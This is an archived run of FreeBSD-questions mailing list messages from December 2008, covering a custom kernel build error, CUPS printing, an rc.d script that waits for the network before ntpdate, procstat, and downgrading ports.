Sat, 06 Dec 2008 01:46:03 +0000 Received: from pool-138-88-90-120.res.east.verizon.net ([138.88.90.120]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Dec 2008 01:46:03 +0000 Received: from nightrecon by pool-138-88-90-120.res.east.verizon.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Dec 2008 01:46:03 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Michael Powell Followup-To: gmane.os.freebsd.questions Date: Fri, 05 Dec 2008 20:45:46 -0500 Lines: 55 Message-ID: References: <4939D0FB.9090304@videotron.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7Bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: pool-138-88-90-120.res.east.verizon.net Sender: news Subject: Re: custom kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: nightrecon@verizon.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 01:46:05 -0000 PJ wrote: [snip] Read carefully: > uvscom.o (.text+0x293): In function 'uvscom_attach' ; > :undefined reference to 'ucom_attach' etc..... > *** Error code 1 See further down at bottom. > did I do something wrong? system is still on and functioning but how do > I make the custom kernel? The canonical first thing to do is to see if your system will build GENERIC. If it does not you have done something to the OS. If GENERIC builds OK and your custom kernel config will not, there is something broken with your config file. Remember to cd /usr/obj and rm -rf usr or make clean first. Always clean out the stale leftovers prior to build. > this is my kernel file: > > # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 > rwatson Exp $ I'm at home and only have two GENERIC conf files to look at. RELENG_7: # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.15 2008/11/24 00:52:26 yongari Exp $ RELENG_7_0: # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.2.2.1 2008/02/06 03:24:28 scottl Exp $ > cpu I686_CPU > ident MYKERNEL > > # To statically compile in device wiring instead of /boot/device.hints > #hints "GENERIC.hints" # Default places to look for devices. [snip] > # USB Serial devices > #device ucom # Generic com ttys [snip] > device uvscom # USB serial support for DDI pocket's PHS [snip] Read the error message. It is failing to build uvscom because uvscom depends on #device ucom and you have ucom commented out. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 02:22:03 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 37094106564A for ; Sat, 6 Dec 2008 02:22:03 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id 0D9EE8FC0A for ; Sat, 6 Dec 2008 02:22:02 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=ISO-8859-1; format=flowed Received: from [192.168.0.52] ([96.21.103.185]) by VL-MH-MR001.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KBF0060ZNWQSX20@VL-MH-MR001.ip.videotron.ca> for freebsd-questions@freebsd.org; Fri, 05 Dec 2008 21:22:02 -0500 (EST) Message-id: <4939E1C9.8000701@videotron.ca> Date: Fri, 05 Dec 2008 21:22:01 -0500 From: PJ User-Agent: Thunderbird 2.0.0.17 (X11/20081128) To: nightrecon@verizon.net References: <4939D0FB.9090304@videotron.ca> In-reply-to: Cc: freebsd-questions@freebsd.org Subject: Re: custom kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 02:22:03 -0000 Michael Powell wrote: > PJ wrote: > > [snip] > > Read carefully: > >> uvscom.o (.text+0x293): In function 'uvscom_attach' ; >> :undefined reference to 'ucom_attach' etc..... >> *** Error code 1 > > See further down at bottom. > >> did I do something wrong? system is still on and functioning but how do >> I make the custom kernel? > > The canonical first thing to do is to see if your system will build GENERIC. > If it does not you have done something to the OS. If GENERIC builds OK > and your custom kernel config will not, there is something broken with your > config file. Remember to cd /usr/obj and rm -rf usr or make clean first. > Always clean out the stale leftovers prior to build. > >> this is my kernel file: >> >> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 >> rwatson Exp $ > > I'm at home and only have two GENERIC conf files to look at. > RELENG_7: > > # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.15 2008/11/24 00:52:26 yongari Exp $ > > RELENG_7_0: > > # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.2.2.1 2008/02/06 03:24:28 scottl Exp $ > > >> cpu I686_CPU >> ident MYKERNEL >> >> # To statically compile in device wiring instead of /boot/device.hints >> #hints "GENERIC.hints" # Default places to look for devices. > [snip] >> # USB Serial devices >> #device ucom # Generic com ttys > [snip] >> device uvscom # USB serial support for DDI pocket's PHS > [snip] > > Read the error message. It is failing to build uvscom because uvscom > depends on #device ucom and you have ucom commented out. > > > -Mike > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > Can't u;nderstand where this stuff came from... I normally had that stuff commented out. I even found the same error on the older, functional machine's kernel which had compiled correctly.... there was another error in that kernel at the very beginning - the SCHEDULE_4BSD was SCHEDULE_UNO or something like that.. but it was commented out...perhaps these glitches happened through some kind of accidental typos in vi.... Anywasy, I think that will fix things... thank you for the observations. Phil Jourdan From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 02:41:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7E5FC1065672 for ; Sat, 6 Dec 2008 02:41:08 +0000 (UTC) (envelope-from af300wsm@gmail.com) Received: from rv-out-0304.google.com (rv-out-0304.google.com [209.85.198.214]) by mx1.freebsd.org (Postfix) with ESMTP id 600738FC1A for ; Sat, 6 Dec 2008 02:41:08 +0000 (UTC) (envelope-from af300wsm@gmail.com) Received: by rv-out-0304.google.com with SMTP id b20so516477rvf.31 for ; Fri, 05 Dec 2008 18:41:08 -0800 (PST) MIME-Version: 1.0 Received: by 10.115.93.18 with SMTP id v18mr277896wal.13.1228531267980; Fri, 05 Dec 2008 18:41:07 -0800 (PST) Message-ID: <00163646ccded2d12c045d57b9cd@google.com> Date: Sat, 06 Dec 2008 02:41:07 +0000 From: af300wsm@gmail.com To: "freebsd-questions@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: cups issue, unsupported format X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 02:41:08 -0000 Hi, I'm working on getting cups working and I've installed the "hplip" port and the cups program used that to install the printer. At least, there was an "HPLIP" in a list in one of the pages during the setup. My printer is an old HP LaserJet 4+ which I've connected through the parallel port. My URI for the printer is parallel:/dev/lp0. When I went to do the test page I got this error, "Unsupported format 'application/postscript'." Here's the problem, I chose a driver which, though I don't remember the full string in cups, was a 4/5 PCL driver. So, why is it trying to print using postscript? Andy From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 03:04:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3E92B1065672 for ; Sat, 6 Dec 2008 03:04:26 +0000 (UTC) (envelope-from fbsd06+4L=b1d1037e@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by mx1.freebsd.org (Postfix) with ESMTP id 120468FC14 for ; Sat, 6 Dec 2008 03:04:26 +0000 (UTC) (envelope-from fbsd06+4L=b1d1037e@mlists.homeunix.com) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id B1DE523E3E9 for ; Fri, 5 Dec 2008 22:04:24 -0500 (EST) Date: Sat, 6 Dec 2008 03:04:21 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081206030421.5bf4ceeb@gumby.homeunix.com> In-Reply-To: <20081205193550.E2916@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205083457.283d3deb@tau> <20081205193550.E2916@wojtek.tensor.gdynia.pl> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 03:04:26 -0000 On Fri, 5 Dec 2008 19:36:45 +0100 (CET) Wojciech Puchar wrote: > > The userland win32 API might be rather unpleasant but I was > > surprised to learn to driver interface in the kernel is actually > > quite nice, and > > whatever ideas/solutions microsoft do it's f..ked up or stolen. > the stolen case is actually better :) They poached VMX developers from DEC and got sued over it IIRC. From what I've read it's supposed to be a pretty good hybrid kernel. From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 03:06:46 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0D0BC1065672 for ; Sat, 6 Dec 2008 03:06:46 +0000 (UTC) (envelope-from fbsd06+4L=b1d1037e@mlists.homeunix.com) Received: from fallback-in1.mxes.net (fallback-out1.mxes.net [216.86.168.190]) by mx1.freebsd.org (Postfix) with ESMTP id CCE408FC0A for ; Sat, 6 Dec 2008 03:06:45 +0000 (UTC) (envelope-from fbsd06+4L=b1d1037e@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by fallback-in1.mxes.net (Postfix) with ESMTP id 39230164883 for ; Fri, 5 Dec 2008 21:50:41 -0500 (EST) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 6427B23E3F7 for ; Fri, 5 Dec 2008 21:50:39 -0500 (EST) Date: Sat, 6 Dec 2008 02:50:36 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081206025036.3ceba57b@gumby.homeunix.com> In-Reply-To: <4939C33A.8070108@cordula.ws> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> <4939C33A.8070108@cordula.ws> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 03:06:46 -0000 On Sat, 06 Dec 2008 01:11:38 +0100 cpghost wrote: > RW wrote: > > I have a similar issue with PPP not having connected by the time > > ntpdate runs , so I just have a script that runs between named and > > ntpdate, and blocks waiting for access. > > > Those timing / start-order issues are getting more and more > annoying, IMHO. On my PPPoE / mpd5 connected systems, > it's the same problem: > * openntpd (from ports) can't start, because named is not ready > * pf can't parse /etc/pf.conf because the ng0 interface is not yet > there etc, etc, etc... > > Isn't there a generic way to delay some scripts from starting > until a specific subset is ready (say: networking fully up, > and named ready to reply)? Perhaps some keyword or class > to add to a startup script would be nice to have! I don't think there's a generic solution, but I've pasted my own script below, I think if you set "networkwait_ping_hosts" to a name, rather than IP addresses, it might solve both your problems. You'll be polling on dns, and then resyncing the pf rules. $ cat /usr/local/etc/rc.d/networkwait #!/bin/sh # # PROVIDE: networkwait # REQUIRE: named # BEFORE: ntpdate . /etc/rc.subr networkwait_enable=${networkwait_enable:-"NO"} name="networkwait" rcvar=`set_rcvar` stop_cmd=":" start_cmd="networkwait_start" networkwait_start(){ if [ "$networkwait_ping_hosts" ] ; then host_list="${networkwait_ping_hosts}" else # No hosts supplied - use external nameservers host_list=`awk '/^ *nameserver/ {print $2} '< /etc/resolv.conf | grep -E -v '^127\.0+\.0+\.0*1'` fi echo -n "Waiting for network access ... " while true ; do for inet_host in $host_list ; do if ping -nc1 $inet_host 2>&1 > /dev/null ; then echo "ping to ${inet_host} succeeded." # Re-Sync ipfilter and pf in case # they had failed DNS lookups /etc/rc.d/ipfilter resync /etc/rc.d/pf resync exit 0 fi done sleep 5 done } load_rc_config ${name} run_rc_command "$1" From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 03:23:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DD81A1065672 for ; Sat, 6 Dec 2008 03:23:50 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id B36548FC0C for ; Sat, 6 Dec 2008 03:23:50 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from eagle.syrec.org (c-67-188-126-36.hsd1.ca.comcast.net [67.188.126.36]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id mB63NoU4044764 for ; Fri, 5 Dec 2008 19:23:50 -0800 (PST) Message-ID: <4939F044.8090507@rawbw.com> Date: Fri, 05 Dec 2008 19:23:48 -0800 From: Yuri User-Agent: Thunderbird 2.0.0.18 (X11/20081127) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: "Sticky" mouse pointer on machine with high load X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 03:23:50 -0000 Often when my machine has load is 2 or higher it becomes very visible that mouse motion isn't smooth. Mouse moves in a series of quite long jumps. I believe this effect is especially pronounced when some applications read/write a lot of files. My understanding is that this is because signal from mouse gets stuck in the fifo somewhere and not processed by x-server in time. Is there any solution to this problem? I never saw such problem on Windows though I didn't touch Windows PC for many years now. Yuri From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 03:36:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3E5C51065678 for ; Sat, 6 Dec 2008 03:36:34 +0000 (UTC) (envelope-from fbsd06+4L=b1d1037e@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by mx1.freebsd.org (Postfix) with ESMTP id 118558FC13 for ; Sat, 6 Dec 2008 03:36:33 +0000 (UTC) (envelope-from fbsd06+4L=b1d1037e@mlists.homeunix.com) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 98C6B23E3EB for ; Fri, 5 Dec 2008 22:36:31 -0500 (EST) Date: Sat, 6 Dec 2008 03:36:29 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081206033629.723f6829@gumby.homeunix.com> In-Reply-To: <871vwmv3er.fsf@kobe.laptop> References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> <871vwmv3er.fsf@kobe.laptop> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: what is umtxn X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 03:36:34 -0000 On Fri, 05 Dec 2008 21:16:12 +0200 Giorgos Keramidas wrote: > On Fri, 5 Dec 2008 19:35:34 +0100 (CET), Wojciech Puchar > wrote: > > i've got once my asterisk process in umtxn state (as top shows) > > using 100% CPU. > > > > it was still answering calls. > > > > what's umtxn exactly? > > A kernel lock operation. ``procstat -k PID'' may show more details > about the in-kernel stack of the process that spins on the lock. > What's procstat? find isn't finding it, neither is "make search" in ports. From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 05:28:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AFA34106567B for ; Sat, 6 Dec 2008 05:28:18 +0000 (UTC) (envelope-from brucec@muon.cran.org.uk) Received: from muon.cran.org.uk (muon.cran.org.uk [66.246.138.153]) by mx1.freebsd.org (Postfix) with ESMTP id 8CDA28FC27 for ; Sat, 6 Dec 2008 05:28:18 +0000 (UTC) (envelope-from brucec@muon.cran.org.uk) Received: by muon.cran.org.uk (Postfix, from userid 1000) id DBFD119007; Sat, 6 Dec 2008 00:28:17 -0500 (EST) Date: Sat, 6 Dec 2008 00:28:17 -0500 From: Bruce Cran To: RW Message-ID: <20081206052817.GA18227@muon.cran.org.uk> References: <20081205193446.B2902@wojtek.tensor.gdynia.pl> <871vwmv3er.fsf@kobe.laptop> <20081206033629.723f6829@gumby.homeunix.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20081206033629.723f6829@gumby.homeunix.com> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org Subject: Re: what is umtxn X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 05:28:18 -0000 On Sat, Dec 06, 2008 at 03:36:29AM +0000, RW wrote: > What's procstat? find isn't finding it, neither is "make search" in > ports. It's a new utility that was introduced into -CURRENT in the past year and seems to have been MFC'd at least to 7.x. It should be in /usr/bin -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 07:17:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D2171106564A for ; Sat, 6 Dec 2008 07:17:37 +0000 (UTC) (envelope-from sonic2000gr@gmail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.26]) by mx1.freebsd.org (Postfix) with ESMTP id 57B938FC0A for ; Sat, 6 Dec 2008 07:17:37 +0000 (UTC) (envelope-from sonic2000gr@gmail.com) Received: by ey-out-2122.google.com with SMTP id 6so142570eyi.7 for ; Fri, 05 Dec 2008 23:17:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=SDrA1rq1R+46Dc4UccU27of0M8tYxjlqj40DpEWq8as=; b=IAM83XGAo3W1pCNcNqjRpPiDUBBGqR7D44mMJl0tT62LQW9tkx5sozkbxH/iBZhNLN 9YWKu7IWsfVjq/UY+F9SdQY2vea8v42eCXWV2VnHzVHYioYfQoOAid/kMVQq0ehi/AqJ +zL9mdRFFROI4kfSfrb9R6tlYElfNTcB+QrK4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; b=jOANRx45xnFrpzJ13eYT5U5MB/A3WXqXgY8bEXh0yEXLMEeT1obCIQBgfGwA30/p+R XmRi+wFbG9CpTPW9izgQTPz3IbMv/vBqPUAU1qB9VlgV1fqcYOsOuYD4jq8rix60HfKm ipkg2y53Z7Kx9io4fNu/Q2I6vrzM41Tq+f38Y= Received: by 10.210.10.8 with SMTP id 8mr913324ebj.7.1228547856070; Fri, 05 Dec 2008 23:17:36 -0800 (PST) Received: from atlantis.dyndns.org (athedsl-292186.home.otenet.gr [85.73.188.248]) by mx.google.com with ESMTPS id i4sm1709333nfh.60.2008.12.05.23.17.33 (version=TLSv1/SSLv3 cipher=RC4-MD5); Fri, 05 Dec 2008 23:17:34 -0800 (PST) Message-ID: <493A270B.8040608@gmail.com> Date: Sat, 06 Dec 2008 09:17:31 +0200 From: Manolis Kiagias User-Agent: Thunderbird 2.0.0.17 (X11/20081011) MIME-Version: 1.0 To: PJ References: <4939D0FB.9090304@videotron.ca> <4939E1C9.8000701@videotron.ca> In-Reply-To: <4939E1C9.8000701@videotron.ca> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: nightrecon@verizon.net, freebsd-questions@freebsd.org Subject: Re: custom kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 07:17:37 -0000 PJ wrote: > Michael Powell wrote: >> PJ wrote: >> >> [snip] >> >> Read carefully: >> >>> uvscom.o (.text+0x293): In function 'uvscom_attach' ; >>> :undefined reference to 'ucom_attach' etc..... >>> *** Error code 1 >> >> See further down at bottom. >> >>> did I do something wrong? system is still on and functioning but how do >>> I make the custom kernel? >> >> The canonical first thing to do is to see if your system will build >> GENERIC. >> If it does not you have done something to the OS. If GENERIC builds OK >> and your custom kernel config will not, there is something broken >> with your >> config file. Remember to cd /usr/obj and rm -rf usr or make clean >> first. Always clean out the stale leftovers prior to build. >> >>> this is my kernel file: >>> >>> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 >>> rwatson Exp $ >> >> I'm at home and only have two GENERIC conf files to look at. >> RELENG_7: >> >> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.15 2008/11/24 >> 00:52:26 yongari Exp $ >> >> RELENG_7_0: >> >> # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.2.2.1 2008/02/06 >> 03:24:28 scottl Exp $ >> >> >>> cpu I686_CPU >>> ident MYKERNEL >>> >>> # To statically compile in device wiring instead of /boot/device.hints >>> #hints "GENERIC.hints" # Default places to look for >>> devices. >> [snip] >>> # USB Serial devices >>> #device ucom # Generic com ttys >> [snip] >>> device uvscom # USB serial support for DDI pocket's PHS >> [snip] >> >> Read the error message. It is failing to build uvscom because uvscom >> depends on #device ucom and you have ucom commented out. >> >> -Mike >> >> >> >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" >> > > Can't u;nderstand where this stuff came from... I normally had that > stuff commented out. I even found the same error on the older, > functional machine's kernel which had compiled correctly.... there was > another error in that kernel at the very beginning - the SCHEDULE_4BSD > was SCHEDULE_UNO or something like that.. but it was commented > out...perhaps these glitches happened through some kind of accidental > typos in vi.... > > Anywasy, I think that will fix things... thank you for the observations. > Phil Jourdan Also, to avoid the next frustration: Either comment out options SCTP or, put back in: options INET6 or it will stop again :) Just a quick observation from reading your configuration file. From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 07:35:47 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3190D1065670 for ; Sat, 6 Dec 2008 07:35:47 +0000 (UTC) (envelope-from ben@b1c1l1.com) Received: from lancer.b1c1l1.com (lancer.b1c1l1.com [72.13.86.100]) by mx1.freebsd.org (Postfix) with ESMTP id 112768FC12 for ; Sat, 6 Dec 2008 07:35:46 +0000 (UTC) (envelope-from ben@b1c1l1.com) Received: from supra.b1c1l1.com (c-76-102-159-187.hsd1.ca.comcast.net [76.102.159.187]) by lancer.b1c1l1.com (Postfix) with ESMTPSA id 1B2235C29; Fri, 5 Dec 2008 23:35:45 -0800 (PST) Message-ID: <493A2B45.6000206@b1c1l1.com> Date: Fri, 05 Dec 2008 23:35:33 -0800 From: Benjamin Lee User-Agent: Thunderbird 2.0.0.18 (X11/20081126) MIME-Version: 1.0 To: Marcel Grandemange References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> <028901c955fe$9b7833d0$d2689b70$@za.net> In-Reply-To: <028901c955fe$9b7833d0$d2689b70$@za.net> X-Enigmail-Version: 0.95.7 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigD979055ECF2FFBC49A003BD3" Cc: freebsd-questions@freebsd.org Subject: Re: Downgrading Ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 07:35:47 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigD979055ECF2FFBC49A003BD3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 12/04/08 02:53, Marcel Grandemange wrote: >> Good Day Guys. >> >> Im wondering how can one downgrade ports? >> And I don't mean installed ports (portdowngrade) , I mean the actual=20 >> ports system. >> >> I have found the freeradius2 port to be broken and can't install it=20 >> therefore I would like to downgrade ports to try install an older vers= ion. >> >> >> Any advise? >=20 >> See portdowngrade(1) -- it doesn't do what you think it does. Use it = to > fetch an earlier version of the port and then reinstall it however you = wish, > e.g. using portupgrade(1). >=20 >=20 > [root@devvm /usr/ports/net/freeradius2]# portdowngrade freeradius2 >=20 > portdowngrade 0.6 by Heiner Eichmann > Please note, that nothing is changed in the ports tree > unless it is explicitly permitted in step 6! >=20 > Seeking port freeradius2 ... not found > [root@devvm /usr/ports/net/freeradius2]# ls > Makefile distinfo files pkg-descr pkg-pli= st > work >=20 > I have used portdowngrade successfully on ports already installed, but > doesn't work on a port not installed yet. > Am I doing something wrong? >=20 The port name is 'freeradius' (without the trailing 2): $ sudo portdowngrade freeradius portdowngrade 0.6 by Heiner Eichmann Please note, that nothing is changed in the ports tree unless it is explicitly permitted in step 6! Seeking port freeradius ... Found several matches: 1: net/freeradius 2: net/freeradius-mysql 3: net/freeradius2 Please choose one: --=20 Benjamin Lee http://www.b1c1l1.com/ --------------enigD979055ECF2FFBC49A003BD3 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQIcBAEBAgAGBQJJOitLAAoJEN/n9makEYThAYAP/ikN7jlHmzKzeJ1S+sn9LgO4 IkxWMkRc7Wquv3SHx8a8EKlnwBvQ7RnHwAh9oTJGdlRTXGPeivkhvevVOv3wE3oU KAF4b1HmXjKpRKdwGpZUvdvN3gr/YRf/Xr+8LWEqHhYRa0/2VODH2PR+dHu1XgjA me0FsrA7TbpikV4EO8vbJ/U5ogvbkHq5sUSenNGbgPBzKK8ggS1FJIqCQX9EipBk KkFHi3+dQDDrmwp0W3XFpsDIukvHFFcIaWKO8MRxlSIQNBcfN3IL7UKnG7vcr6Y4 jhYFkenZ5SrWEtoAzFnAASaYiRWBjvwUB0y9TYY44MY5XYBxnQ86TsPvjePC+VDb NBtMlt4Hg3FTXomZoLJJNlIT1zdvCfzFM4AZkqQfyGCyhV1IcraXHdgugOGCCFFr jxPbZc9zVH4kTGH9/T2UGzEe4oZkq1S5l48BqvjlCyx7qnwu2EszwlxQ4HN+Wkzi 34t+R9JJNrnBBoCUCvSXTRHZtyIx1Y9Pnt0injaqL5KfdfHPI84AbmceCBG6A6jx 40fyhxOXvj9k5SzjHEXonheDPZHQPOj7BlY07rErYO/VIVr97j2wRZN7qlu4LT/k 0wsCgxY7EFtipHUzOop2x9sv+tmNe1RV5RxRpsAe0qJ8AeJnCyDkwCv25ESVeSwU dx0keVMa8rMIixS9exWu =SzOq -----END PGP SIGNATURE----- --------------enigD979055ECF2FFBC49A003BD3-- From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 07:36:57 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org 